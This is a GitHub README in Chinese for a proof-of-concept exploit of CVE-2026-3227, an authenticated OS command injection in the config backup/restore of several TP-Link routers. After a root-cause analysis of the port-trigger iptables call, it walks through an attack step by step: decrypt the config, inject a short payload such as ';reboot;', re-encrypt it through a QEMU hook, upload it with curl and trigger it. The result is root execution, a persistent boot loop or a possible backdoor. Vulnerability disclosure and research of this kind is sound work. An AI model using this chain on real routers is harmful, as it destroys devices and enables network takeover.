do4choo/CVE-2026-3227
GitHub: do4choo/CVE-2026-3227
TP-Link 路由器加密配置文件解析中 OS 命令注入漏洞的完整 PoC,演示从固件逆向到 payload 生成的完整利用链。
Stars: 0 | Forks: 0
# CVE-2026-3227:TP-Link 路由器 OS 命令注入




更多信息请访问 https://www.cve.org/CVERecord?id=CVE-2026-3227
**TP-Link 路由器固件中存在一个持久化的、经过认证的 OS 命令注入漏洞,可导致设备变砖或潜在的 LAN 接管。**
## 执行摘要
在多款 TP-Link 路由器(包括 TL-WR802N、TL-WR841N 和 TL-WR840N)的配置备份/恢复机制中存在一个命令注入漏洞。拥有管理员权限的攻击者可以下载路由器的配置文件,将其解密,向特定的 XML 字段中注入恶意 OS 命令(最多 15 个字符),重新加密后再上传回设备。
当路由器应用该配置时(例如在端口触发事件期间或启动时),注入的 payload 会以 root 权限执行。这可用于导致持久化的启动循环(通过在恢复出厂设置后依然存活,使设备永久变砖),或可能为 LAN 渗透启用一个持久化的后门。
## 发现之旅(我是如何发现的)
在探索路由器的配置备份功能时,我决定对 `httpd` 二进制文件和 `libcmm.so` 库进行逆向工程,以了解配置文件是如何被加密和解析的。
1. **解密**:我成功编写了一个 Python 脚本来解密路由器的配置 blob,使我能够读取底层的 XML 配置。
2. **寻找接收点(Sink)**:在分析 XML 参数时,我发现了一些注入端点,它们在没有经过净化的情况下被直接传递给了系统执行函数。
3. **加密挑战**:复现加密算法非常困难。尽管我对代码进行了逆向,并尝试用 Python 和 C 重新实现该算法,但我始终无法生成一个路由器能够接受的加密文件。
4. **变通方案(QEMU Hooking)**:我没有重新造轮子,而是采用了一种攻防工程方法。我使用 `qemu-user` 模拟了路由器的架构,并在运行时(`create_config.c`)对路由器原始的 `httpd` 二进制文件进行了 hook。这使我能够直接从我的 Python PoC 中调用路由器原生的加密函数,完美地模拟了原始的加密格式。
## 技术深入探讨 / 根本原因分析
该漏洞在于产品解析加密配置 blob 并在运行时应用它的方式。在端口触发配置路径中,其实现方式是使用用户可控的字段来构造 shell 命令,而没有进行适当的过滤。
具体来说,函数 `oal_pt_addPortTrigger` 会调用:
```
util_execSystem("oal_pt_addPortTrigger",
"iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
&local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);
```
格式化字符串 `%s` 被填充为一个直接从上传的 XML 配置中解析出的接口字符串(`X_TP_IfName`)。
执行流程如下:
1. **上传**:`http_cgi_gdpr_main` -> `rdp_setObj` -> `rsl_setObj` -> `oal_pt_addPortTrigger`
2. **解析**:`oal_pt_addPortTrigger` 调用 `forward_parsePtOpenPort` 来解析端口列表。
3. **执行**:系统构建 `iptables` 命令字符串,并通过 `util_execSystem`(封装了 `system()`)来执行它。
通过修改解密后的 XML,包含如下内容:
```
```
该命令会在启动时的接口初始化过程中或发生端口触发事件时被执行。由于 payload 被限制在 **15 个字符**,构造 exploit 需要使用极其紧凑的命令执行技术。
## 概念验证
为了避免分发受版权保护的 TP-Link 二进制文件,此 PoC 需要您自行提取路由器的文件系统,以便通过自定义的 QEMU hook 来利用原生的加密库。
### 前置条件
* `qemu-mipsel` 和一个交叉编译器(`gcc-mipsel-linux-gnu`)
* Python 3 及其依赖项(`pip install pycryptodome`)
* 使用 `binwalk -Me ` 提取的固件
### 步骤 1:准备环境
1. 解压目标固件,并将 `squashfs-root` 目录复制到本项目的 'python_utils/' 目录中。
2. 编译 QEMU hook:
mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
### 步骤 2:生成恶意配置
1. 登录您的路由器并下载备份配置(`config.bin`)。
2. 运行 payload 生成器:
python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
*注意:Payload 不得超过 15 个字符。*
### 步骤 3:通过 curl 上传配置(我路由器上的更新功能只是个摆设,实际上没有任何作用)。
```
curl -X POST "http://192.168.0.1/cgi/confup" \
-H "User-Agent: Mozilla/5.0" \
-H "Referer: http://192.168.0.1/mainFrame.htm" \
-H "Origin: http://192.168.0.1" \
-H "Cookie: JSESSIONID=" \
-F "filename=@exploit.bin;type=application/octet-stream"
```
### 步骤 3:触发 Exploit
1. 一旦路由器重启并应用了这些设置,请导航至 **转发 -> 端口触发**。
2. **添加一个新的端口触发**(例如,从下拉菜单中选择 "Battle.net")并保存。
3. 注入的 OS 命令将以 `root` 身份执行。如果您使用了 `;reboot;`,路由器将立即重启并进入持久化的启动循环。
标签:Google搜索, Python, 云资产清单, 命令注入, 无后门, 路由器安全, 身份验证强制, 逆向工具, 逆向工程